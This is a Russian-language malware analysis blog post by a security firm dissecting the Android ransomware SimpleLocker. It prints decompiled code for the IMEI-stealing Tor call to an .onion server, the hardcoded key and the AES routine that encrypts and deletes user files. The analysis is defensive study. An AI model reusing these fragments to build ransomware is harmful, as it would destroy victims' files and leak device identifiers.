![](https://habrastorage.org/files/292/bd7/441/292bd744198946809d66ee1a86a23f16.jpg)
Добрый день уважаемые хабрачитатели, сегодня специалисты нашей компании хотели бы представить вашему взору разбор одного попавшегося не так давно нам на глаза Android вируса, если можно его так назвать, SimpleLocker. Для того, чтобы узнать о нём побольше, мы проделали немалую работу, которою в общем можно разбить на 3 шага:
Шаг 1. Анализ манифеста и ресурсов
Шаг 2. Декомпиляция приложения
Шаг 3. Анализ кода
Шаг 1. Анализ манифеста и ресурсов
Первым делом было решено провести анализ ресурсов приложения, используея утилиту aapt.exe для извлечения строкового контента из apk файла командой
c:\android\apktool>aapt.exe list -a ..\simple\fd694cf5ca1dd4967ad6e8c67241114c.apk
Используемые разрешения в данном приложении оказались следующие:
android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_PHONE_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.READ_EXTERNAL_STORAGE
Присутсвуют ресиверы:
.ServiceStarter
android.intent.action.BOOT_COMPLETED
.SDCardServiceStar
android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE
а также следующие службы:
.MainService
org.torproject.android.service.TorService
org.torproject.android.service.ITorService
org.torproject.android.service.TOR_SERVICE
Из манифеста нам становится известно, что вирус умеет работать с сетью TOR и с внешней картой памяти.
Распакуем приложение и посмотрим что находится в ресурсах. Самое интересное находится в папке res\raw. Находим два замаскированных файла под mp3, которые на самом деле предоставляют архив, содержащие базы стран GeoIP, а также конфигурационные файлы для TOR’а
Файл torrc:
SocksPort 9050
SOCKSListenAddress 127.0.0.1
SafeSocks 0
TestSocks 1
WarnUnsafeSocks 1
Log notice stdout
ControlListenAddress 127.0.0.1
ControlPort 9051
CookieAuthentication 1
TransPort 9040
TransListenAddress 127.0.0.1
DNSPort 5400
DNSListenAddress 127.0.0.1
AvoidDiskWrites 1
Файл torrctether
SocksPort 9050
SOCKSListenAddress 0.0.0.0
SafeSocks 0
TestSocks 1
WarnUnsafeSocks 1
Log notice stdout
ControlPort 9051
ControlListenAddress 0.0.0.0
CookieAuthentication 1
RelayBandwidthRate 100 KBytes
RelayBandwidthBurst 100 KBytes
UseBridges 0
AutomapHostsOnResolve 1
TransListenAddress 0.0.0.0
TransPort 9040
DNSListenAddress 0.0.0.0
DNSPort 5400
AvoidDiskWrites 1
И файл privoxy_config
# Generally, this file goes in /etc/privoxy/config
#
# Tor listens as a SOCKS4a proxy here:
forward-socks4a / 127.0.0.1:9050 .
confdir /data/data/org.torproject.android
logdir /data/data/org.torproject.android
# actionsfile standard # Internal purpose, recommended
#actionsfile default.action # Main actions file
#actionsfile user.action # User customizations
#filterfile default.filter
# Don't log interesting things, only startup messages, warnings and errors
#logfile logfile
#jarfile jarfile
#debug 1
#debug 0 # show each GET/POST/CONNECT request
#debug 4096 # Startup banner and warnings
#debug 8192 # Errors - *we highly recommended enabling this*
#user-manual /usr/share/doc/privoxy/user-manual
listen-address 127.0.0.1:8118
toggle 1
accept-intercepted-requests 1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096
Шаг 2. Декомпиляция приложения
Для декомпиляции приложения воспользуемся сервисом ссылка.
Шаг 3. Анализ кода
При беглом просмотре названий классов, взгляд остановился на классе Constants.java посмотрим что за константы в нем хранятся:
public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
public static final String CIPHER_PASSWORD = "jndlasf074hr";
public static final String CLIENT_NUMBER = "19";
public static final String DEBUG_TAG = "DEBUGGING";
public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] {
"jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"});
public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
public static final int MONEYPACK_DIGITS_NUMBER = 14;
public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
public static final int POLLING_TIME_MINUTES = 3;
public static final String PREFS_NAME = "AppPrefs";
public static final int UKASH_DIGITS_NUMBER = 19;
По константным переменным можно предположить куда отправляются данные, какой пароль используется для шифрования файлов, какие файлы будит подвержены шифрованию.
Вирус должен каким – то образом взаимодействовать с сервером и шифровать файлы. Найдем участки кода которые отвечают за данный функционал. Начнем с анализа класса MainService.java которая выступает в роли службы MainService.
Обмен данными с сервером.
В классе MainService.java в методе run() вызывается функция TorSender.sendCheck(context);
public void run() {
……
TorSender.sendCheck(context);
}
TorSender.java, в данном классе содержится один метод:
public static void sendCheck(Context context) {
try {
JSONObject jsonobject = new JSONObject();
jsonobject.put("type", "locker check");
jsonobject.put("device id", Utils.getCutIMEI(context));
jsonobject.put("client number", "19");
(new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending();
return;
}
catch (JSONException jsonexception) {
jsonexception.printStackTrace();
}
}
Создается json объект, содержащий информацию о типе запроса, IMEI устройства:
(Utils.getCutIMEI(context)) и номер клиента.
public static String getCutIMEI(Context context) {
String s = getIMEI(context);
….
}
public static String getIMEI(Context context) {
return ((TelephonyManager)context.getSystemService("phone")).getDeviceId();
}
При отправке, сначала создается прокси сервер 127.0.0.1:9050 при вызове явного конструктора класса HttpSender.java
public HttpSender(String s, RequestType requesttype, Context context1) {
dataToSend = s;
settings = context1.getSharedPreferences("AppPrefs", 0);
httpclient = new StrongHttpsClient(context1);
httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050);
context = context1;
type = requesttype;
}
А затем вызываем метод startSending(), который передаст данные на сервер eyocsu7fu2vjhxs.onion.
public void startSending() {
….
HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend);
...
}
Шифрование файлов:
Служба MainService запускается поток для шифрования файлов.
new Thread(new Runnable() {
…
(new FilesEncryptor(context)).encrypt();
…
}
Рассмотрим явный конструктор класса FilesEncryptor(context)
public FilesEncryptor(Context context) {
filesToEncrypt = new ArrayList();
filesToDecrypt = new ArrayList();
settings = context.getSharedPreferences("AppPrefs", 0);
getFileNames(new File(Environment.getExternalStorageDirectory().toString()));
}
Видим инициализацию двух списков предназначенных для хранения списка обычных и шифрованных файлов, метод getFileNames(File file) заполняет списки:
private void getFileNames(File file) {
…
String s = file1.getAbsolutePath();
String s1 = s.substring(1 + s.lastIndexOf("."));
if (extensionsToDecrypt.contains(s1)) {
filesToDecrypt.add(file1.getAbsolutePath());
} else
if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1)) {
filesToEncrypt.add(file1.getAbsolutePath());
}
…
}
А метод encrypt() зашифрует файлы из списка filesToEncrypt
public void encrypt() throws Exception {
…
AesCrypt aescrypt;
Iterator iterator;
aescrypt = new AesCrypt("jndlasf074hr");
iterator = filesToEncrypt.iterator();
…
String s = (String)iterator.next();
aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString());
(new File(s)).delete();
…
}
Рассмотрим класс AesCrypt.java
private final Cipher cipher = Cipher.getInstance(«AES/CBC/PKCS7Padding»);
Используется блочное шифрование AES 128
В конструкторе класса хешируем пароль алгоритмом SHA-256 и генирируем ключик для шифра:
public AesCrypt(String s) throws Exception {
MessageDigest messagedigest = MessageDigest.getInstance("SHA-256");
messagedigest.update(s.getBytes("UTF-8"));
byte abyte0[] = new byte[32];
System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length);
key = new SecretKeySpec(abyte0, "AES");
spec = getIV();
}
Ну и сам метод шифрования:
public void encrypt(String s, String s1) throws Exception {
FileInputStream fileinputstream = new FileInputStream(s);
FileOutputStream fileoutputstream = new FileOutputStream(s1);
cipher.init(1, key, spec);
CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher);
byte abyte0[] = new byte[8];
do {
int i = fileinputstream.read(abyte0);
if (i == -1) {
cipheroutputstream.flush();
cipheroutputstream.close();
fileinputstream.close();
return;
}
cipheroutputstream.write(abyte0, 0, i);
} while (true);
}
Проведя данный ряд исследований можно сделать заключение, что данный вирус обладает весьма скудным функционалом, а именно:
1. Граббинг IMEI жертвы
2. Работа с сетью TOR
3. Шифрование файлов
Бояркин Антон, Набиев Нурлан, отдел расследования киберпреступлений, PentestIT